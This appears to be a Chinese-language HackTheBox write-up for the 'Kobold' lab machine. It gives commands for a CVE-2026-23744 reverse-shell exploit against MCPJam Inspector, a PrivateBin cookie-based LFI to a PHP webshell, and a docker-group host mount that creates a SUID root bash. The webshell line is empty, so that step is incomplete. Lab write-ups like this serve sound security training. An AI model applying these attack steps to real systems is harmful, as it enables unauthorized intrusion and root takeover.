ledksv/kobold
GitHub: ledksv/kobold
这是一份 HackTheBox Medium 难度 Linux 靶机 Kobold 的完整通关笔记,涵盖 CVE-2026-23744 RCE、PrivateBin LFI 横向移动和 Docker 组提权至 root 的完整攻击链。
Stars: 0 | Forks: 0
# Kobold — HackTheBox
**平台:** HackTheBox | **难度:** Medium | **操作系统:** Linux
**标签:** `CVE-2026-23744` `MCPJam` `PrivateBin LFI` `Docker Escape` `SUID`
## 目录
1. [信息收集](#1-enumeration)
2. [初始立足点 — 以 ben 身份 RCE (CVE-2026-23744)](#2-initial-foothold--rce-as-ben-cve-2026-23744)
3. [权限提升 — 通过 PrivateBin LFI 提升至 www-data](#3-privilege-escalation--www-data-via-privatebin-lfi)
4. [权限提升 — 通过 Docker 组逃逸提权至 root](#4-privilege-escalation--root-via-docker-group-escape)
5. [Flags](#5-flags)
## 1. 信息收集
### Nmap
```
nmap -sV -sC 10.129.54.83 -Pn -p-
```
**开放端口:**
| 端口 | 服务 |
|------|---------|
| 22 | OpenSSH 9.6p1 |
| 80 | nginx 1.24.0 — 重定向至 HTTPS |
| 443 | nginx 1.24.0 — Kobold Operations Suite。TLS 证书涵盖 `kobold.htb` 和 `*.kobold.htb` |
| 3552 | Golang HTTP — Arcane v1.13.0 登录面板 |
将子域添加至 `/etc/hosts`:
```
10.129.54.83 kobold.htb bin.kobold.htb mcp.kobold.htb
```
### 子域枚举
```
ffuf -u https://kobold.htb -H 'Host: FUZZ.kobold.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-k -t 50 -ac
```
**发现结果:**
| 子域 | 服务 |
|-----------|---------|
| `mcp.kobold.htb` | MCPJam Inspector v1.4.2 |
| `bin.kobold.htb` | PrivateBin 实例 |
## 2. 初始立足点 — 以 ben 身份 RCE (CVE-2026-23744)
MCPJam Inspector v1.4.2 存在漏洞,允许通过向 `/api/mcp/connect` 发送恶意的 MCP 服务器配置来实现未经身份验证的 RCE。该 Inspector 会在未经任何身份验证检查的情况下获取并执行攻击者控制的配置。
```
git clone https://github.com/FrenzisRed/CVE-2026-23744.git
python3 cve-2026-23744.py --target https://mcp.kobold.htb --att-ip YOUR_IP --att-p 4444
```
```
nc -lvnp 4444
```
稳定 Shell:
```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```
```
cat /home/ben/user.txt
```
## 3. 权限提升 — 通过 PrivateBin LFI 提升至 www-data
### 发现
以 `ben` 身份浏览文件系统时发现了 `/privatebin-data/` 目录,其中包含子目录 `certs/`、`cfg/` 和 `data/`。`data/` 目录具有全局可写权限,并且可以通过 `ben` 所属的 `operator` 组进行访问。
位于 `bin.kobold.htb` 的 PrivateBin 应用接受一个 `template` Cookie,该 Cookie 被直接传递给文件包含函数。其路径是相对于 `tpl/` 解析的,允许目录遍历至 `data/` 目录。
### 漏洞利用
将一个 PHP Webshell 写入可写的 data 目录中(在目标主机上以 `ben` 身份执行):
```
echo '' > /privatebin-data/data/rce1.php
```
通过攻击机上的 template Cookie 触发文件包含:
```
curl -s -k "https://bin.kobold.htb/" \
-H "Cookie: template=../data/rce1" \
--get --data-urlencode "cmd=id"
```
## 4. 权限提升 — 通过 Docker 组逃逸提权至 root
### 发现
以 `ben` 身份运行 LinPEAS 发现了一个关键信息:
```
Accessible group not shown in id: docker (gid=111)
```
`ben` 是 `/etc/group` 中 `docker` 组的成员,但该组在当前会话中并未激活。使用 `newgrp` 切换至该组无需密码。
### 激活 Docker 组
```
newgrp docker
id
# uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
```
目标主机没有互联网访问权限,但本地已经拉取了 PrivateBin 镜像:
```
docker ps
# privatebin/nginx-fpm-alpine:2.0.2
```
### 通过容器挂载获取 SUID Bash
将主机文件系统挂载到一个以 root 权限运行的特权容器中,复制 bash 并设置 SUID 位:
```
docker run -v /:/mnt --rm --privileged --user 0 \
--entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 \
-c "cp /mnt/bin/bash /mnt/tmp/rootbash && \
chown root:root /mnt/tmp/rootbash && \
chmod 4755 /mnt/tmp/rootbash"
```
在保留权限的情况下执行 SUID bash:
```
/tmp/rootbash -p
whoami
# root
```
## 5. Flags
| Flag | Hash |
|------|------|
| User | `redacted` |
| Root | `redacted` |
### 攻击链
1. 子域枚举 → `mcp.kobold.htb` (MCPJam Inspector) 和 `bin.kobold.htb` (PrivateBin)
2. 针对 MCPJam Inspector 利用 CVE-2026-23744 → 以 `ben` 身份实现 RCE
3. 全局可写的 `/privatebin-data/data/` + `template` Cookie LFI → 以 `www-data` 身份实现 RCE
4. LinPEAS 枚举 → 发现 `ben` 在 `docker` 组中 → 执行 `newgrp docker` → 挂载主机 + SUID bash → 提升至 root
*仅供教育目的。请仅在您拥有或已获得明确书面授权的测试系统上进行操作。*
标签:CISA项目, CSV导出, CTF攻略, CTI, CVE-2026-23744, Docker逃逸, Golang, HackTheBox, LFI, Linux提权, MCPJam, Nginx, Nmap, PrivateBin, RCE, SUID提权, Web安全, 协议分析, 子域名枚举, 安全编程, 容器提权, 本地文件包含, 权限提升, 漏洞复现, 系统安全, 编程工具, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 靶机Writeup